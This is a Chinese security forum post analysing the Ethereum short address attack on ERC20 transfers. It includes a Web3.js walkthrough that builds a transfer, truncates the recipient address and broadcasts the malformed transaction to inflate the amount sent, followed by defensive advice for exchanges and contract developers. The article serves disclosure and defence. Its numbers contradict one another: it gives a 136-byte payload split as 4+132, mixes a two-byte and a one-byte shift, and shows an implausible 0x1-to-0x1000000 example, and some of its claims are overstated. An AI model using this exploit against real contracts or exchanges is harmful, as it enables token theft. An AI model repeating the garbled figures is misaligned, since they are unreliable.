返回论坛

以太坊短地址攻击:被遗忘的EVM底层缺陷深度剖析

查找币 漏洞披露 安全研究 Web3安全 区块链安全

查找币安全研究院

钱包恢复评估 | 链上取证分析 | Web3 事件响应
以合法授权、证据保全、隐私保护和可复核流程为前提,不要求用户在线提交完整私钥或助记词。

查看研究院 研究报告中心
## 概述 在智能合约安全领域,我们往往关注那些耳熟能详的漏洞类型:整数溢出、重入攻击、未授权访问等。然而,有一个潜伏在EVM底层的漏洞,如同沉没的亚特兰蒂斯——许多人听说过它的名字,却鲜有人真正深入探究其实战细节。这就是**短地址攻击**。 长期以来,业内普遍认为这是一个“已被修复”的漏洞。但经过查找币安全团队的深度溯源和技术验证,我们发现:**EVM层面并未真正修复这一缺陷**。Github上的历史Release记录中,也未见官方发布的相关补丁。这意味着,短地址攻击的威胁依然存在,只是被大多数开发者遗忘在底层协议的阴影之中。 ## 短地址攻击原理 ### 核心机制 短地址攻击本质上利用了EVM对ABI编码数据的“宽容”处理机制。每个ERC20代币合约都包含类似`transfer(address,uint256)`的函数,当用户发起交易时,EVM会解析传入的字节码(input data)。正常情况下,该字节码长度为136字节: - 前4字节:函数签名(方法选择器) - 后132字节:参数数据(地址32字节 + 金额32字节,均高位补零) 然而,EVM并不会验证传入的地址参数是否满足32字节的ABI规范。如果攻击者故意提供一个**长度不足**的地址(例如少写末尾的零),EVM会“贴心”地从金额数据部分**挪用字节**来补全地址,同时自动在金额数据的末尾补零以维持总长度。 ### 攻击原理示例 假设正常地址为: ``` 0xdfca6234eb09125632f8f3c71bf8733073b7cd00 ``` 攻击者将其缩短为: ``` 0xdfca6234eb09125632f8f3c71bf8733073b7cd ``` EVM的处理逻辑: 1. 从金额数据部分“借用”2个字节(通常是0x00)补全地址 2. 金额数据末尾自动补零,导致实际转账金额被放大 例如,原本转账1个代币(0x1),经过EVM补零后,金额数据变为`0x1000000`,相当于转账了**16,777,216个代币**。这正是短地址攻击的威力所在——小额转账被放大为巨额转账,而用户和交易所前端往往无法察觉。 ## 实战复现:从理论到代码 ### 环境准备 - 操作系统:macOS - Node.js v8.11.0 - Web3.js 1.0.0-beta.36 - RPC节点:Infura - 测试合约:Remix部署至Kovan测试网 ### 攻击步骤 #### 第一步:构造正常ABI ```javascript const Web3 = require('web3'); const web3 = new Web3('https://kovan.infura.io/v3/YOUR_PROJECT_ID'); const contractABI = [...] // 合约ABI const contractAddress = '0x6e2f32497a7da13907831544093d3aa335ecbf33'; const tokenContract = new web3.eth.Contract(contractABI, contractAddress); // 构造正常转账ABI let data = tokenContract.methods.transfer( '0xdfca6234eb09125632f8f3c71bf8733073b7cd00', web3.utils.toHex(123) ).encodeABI(); ``` 此时生成的input data长度为136字节。 #### 第二步:篡改地址长度 将地址末尾的两个零删除,使地址变为`0xdfca6234eb09125632f8f3c71bf8733073b7cd`。然后手动替换ABI中的地址部分: ```javascript let shortData = data.replace( 'dfca6234eb09125632f8f3c71bf8733073b7cd00', 'dfca6234eb09125632f8f3c71bf8733073b7cd' ); ``` 此时`shortData`长度为134字节。 #### 第三步:发送恶意交易 ```javascript const tx = { from: '0xYOUR_ACCOUNT', to: contractAddress, data: shortData, gas: 100000, gasPrice: web3.utils.toWei('10', 'gwei') }; web3.eth.sendTransaction(tx) .on('transactionHash', console.log) .on('receipt', console.log); ``` ### 攻击验证 交易上链后,通过EVM事件日志可以清晰看到: - **转账金额**:输入为123(0x7b),但EVM解析结果为31488(0x7b00) - **转账地址**:被自动补全为原始地址 这意味着攻击者成功将123个代币的转账,放大为31,488个代币的转账,放大倍数达256倍。 ## 威胁分析 ### 攻击场景 1. **交易所提币**:攻击者构造短地址发起提币请求,交易所前端可能因地址校验不严而放行,导致实际转出金额远超预期。 2. **DApp交互**:与智能合约交互时,若前端未对地址长度做严格校验,攻击者可利用此漏洞窃取代币。 3. **跨链桥攻击**:在跨链交易中,短地址攻击可能被用于放大资产转移量。 ### 为什么会被遗忘? - **前端防御的假象**:多数交易所和钱包前端对地址进行了长度校验(如要求42字符),但这只是应用层的防护,底层EVM并未修复。 - **官方沉默**:Ethereum官方未发布明确的EVM层面修复方案,导致开发者误以为漏洞已不存在。 - **复杂度**:短地址攻击需要手动构造交易数据,普通用户难以实现,因此未被广泛关注。 ## 防护建议 ### 对于交易所和DApp开发者 1. **前端严格校验**:在用户输入地址时,强制检查地址长度是否为42字符(含0x前缀)。 2. **后端二次验证**:在交易广播前,使用Web3或其他工具对ABI编码后的input data进行长度校验,确保地址部分为32字节。 3. **使用安全库**:采用经过审计的ERC20库(如OpenZeppelin),其对transfer函数的实现包含地址长度检查。 4. **监控异常交易**:部署链上监控系统,对转账金额与预期不符的交易进行告警。 ### 对于智能合约开发者 1. **重写transfer函数**:在合约层面增加地址长度验证逻辑,例如: ```solidity require(msg.data.length == 68, "Invalid data length"); ``` 2. **使用SafeMath**:虽然不能直接防御短地址攻击,但能防止因金额溢出导致的二次危害。 ### 对于普通用户 - 确认交易详情中的转账金额与预期一致 - 使用支持地址自动补全的钱包(如MetaMask) - 对异常小额提币保持警惕 ## 结语 短地址攻击如同区块链世界的亚特兰蒂斯——它从未真正沉没,只是被遗忘在协议层的深渊中。查找币安全团队通过本次深度复现,证实了EVM底层缺陷依然存在,且可被利用。我们呼吁所有区块链开发者、交易所和DApp团队重新审视这一威胁,将防护措施落实到应用层和合约层,而非寄希望于“已修复”的假象。 **本文由查找币安全团队整理发布**
在论坛中查看和回复